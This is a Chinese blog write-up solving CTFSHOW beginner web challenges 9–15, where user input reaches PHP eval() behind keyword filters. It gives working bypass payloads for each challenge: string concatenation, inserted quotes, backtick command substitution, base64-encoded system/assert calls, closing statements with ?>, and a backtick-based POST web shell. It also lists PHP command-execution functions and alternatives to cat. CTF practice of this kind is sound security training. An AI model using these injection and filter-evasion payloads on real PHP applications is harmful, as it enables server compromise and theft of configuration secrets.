CTFSHOW 萌新计划web9-15

题目地址:http://ctf.show
0x01 web9

乍一看别被迷惑了,这个正则是字符串中包含 system、exec、highlight才能执行eval()。

if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }

所以很简单,直接 c=highlight_file('config.php'); 即可

0x02 web10

这个就是比较正常的过滤了上一道题可用的函数,构造法轻松绕过

c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。

0x03 web11

在上题的基础上增加了cat的禁用,这个好说,linux有很多类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq.
当然我们也可以单引号或者双引号或者反斜杠绕过cat
比如 ca’'t config.php ca"t config.php ca\t config.php,因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误,比如

 system('ca""t config.php')  system("ca''t config.php")
0x04 web12

php有很多的命令执行函数,因为题中禁用了其中几个,我们还可以使用其他的
常见的系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

我这里给出两个payload
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat `ls` 相当于将 ls出来的结果cat。

c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
0x04 web13

这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert中 的字符串可以没有分号.
所以给出两个payload

c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

0x05 web14,15

话不多说直接payload

web14

?c=echo `$_POST[1]`?>

然后再post传入 1=cat config.php

web15

?c=echo `$_POST[1]`;

然后再post传入 1=cat config.php

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值